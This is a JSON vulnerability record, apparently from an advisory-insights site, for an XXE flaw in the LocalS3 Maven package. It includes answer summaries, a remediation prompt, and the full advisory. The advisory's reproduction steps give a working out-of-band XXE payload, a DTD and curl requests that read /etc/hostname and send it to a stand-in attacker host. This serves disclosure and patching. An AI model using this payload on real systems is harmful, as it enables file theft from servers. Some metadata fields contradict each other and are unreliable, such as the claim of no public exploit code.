{"answers":{"affected":"2 open source packages ship an affected version, including io.github.robothy:local-s3-rest.","exploited":"There is no known exploitation of GHSA-47qw-ccjm-9c2c in the wild and no public exploit code.","fix":"Upgrade io.github.robothy:local-s3-rest to 1.21 or later.","what":"GHSA-47qw-ccjm-9c2c is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-47qw-ccjm-9c2c and fix it if it is affected.\n\nWhat it is: GHSA-47qw-ccjm-9c2c is a vulnerability in io.github.robothy:local-s3-rest, published on 10 Mar 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-47qw-ccjm-9c2c in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21\n- io.github.robothy:local-s3-rest (Maven): affected all versions; fixed in 1.21\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-47qw-ccjm-9c2c/ (Markdown: https://insights.sbomify.com/GHSA-47qw-ccjm-9c2c/index.md)","id":"GHSA-47qw-ccjm-9c2c","markdown":"https://insights.sbomify.com/GHSA-47qw-ccjm-9c2c/index.md","name":"GHSA-47qw-ccjm-9c2c","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"no_fix_stated","impacts":["data_read","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Java S3 storage library","requires_auth":"none","summary":"An attacker can exploit XXE in LocalS3 to read local files and exfiltrate data via outbound requests without authentication.","user_interaction":"not_required","vuln_class":"xxe"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Description\n\nThe LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.\n\nThe vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.\n\nThe vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.\n\n## Steps to Reproduce\n\n1. Create a malicious DTD file containing the following content:\n```\n\u003c!ENTITY % file SYSTEM \"file:///etc/hostname\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'\u003e\"\u003e\n%eval;\n%exfil;\n```\n\n2. Host the malicious DTD file on an accessible web server\n\n3. Initialize a multipart upload to the LocalS3 server:\n```\ncurl -X PUT \"http://app/test-bucket/test.txt?uploads\"\n```\n\n4. Send a POST request to complete the multipart upload with the following XML payload:\n    ```\n   curl -X POST \"http://app/test-bucket/test.txt?uploadId=[upload-id]\" \\\n   -H \"Content-Type: application/xml\" \\\n   -d '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n   \u003c!DOCTYPE data [\n   \u003c!ENTITY % dtd SYSTEM \"http://attacker.domain/evil.dtd\"\u003e\n   %dtd;\n   ]\u003e\n   \u003cCompleteMultipartUpload\u003e\n       \u003cPart\u003e\n           \u003cPartNumber\u003e1\u003c/PartNumber\u003e\n           \u003cETag\u003etest\u003c/ETag\u003e\n       \u003c/Part\u003e\n   \u003c/CompleteMultipartUpload\u003e'\n    ```\n\nThe server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.\n\n## Mitigations\n\n- Disable DTD processing in the XML parser configuration\n- If DTD processing is required, disable the ability to load external entities and external DTDs\n- Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature\n- Set up proper input validation and sanitization for all XML processing operations\n\n## Impact\n\nAn attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection","id":"GHSA-47qw-ccjm-9c2c","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"xxe","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":["1.21"],"introduced":["0"],"last_affected":[],"package":"io.github.robothy:local-s3-rest","purl":null,"source":"GHSA-47qw-ccjm-9c2c"},{"ecosystem":"Maven","fixed":["1.21"],"introduced":["0"],"last_affected":[],"package":"io.github.robothy:local-s3-rest","purl":"pkg:maven/io.github.robothy/local-s3-rest","source":"GHSA-47qw-ccjm-9c2c"}],"products":null,"published":"2025-03-10","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can exploit XXE in LocalS3 to read local files and exfiltrate data via outbound requests without authentication.","url":"https://insights.sbomify.com/GHSA-47qw-ccjm-9c2c/"}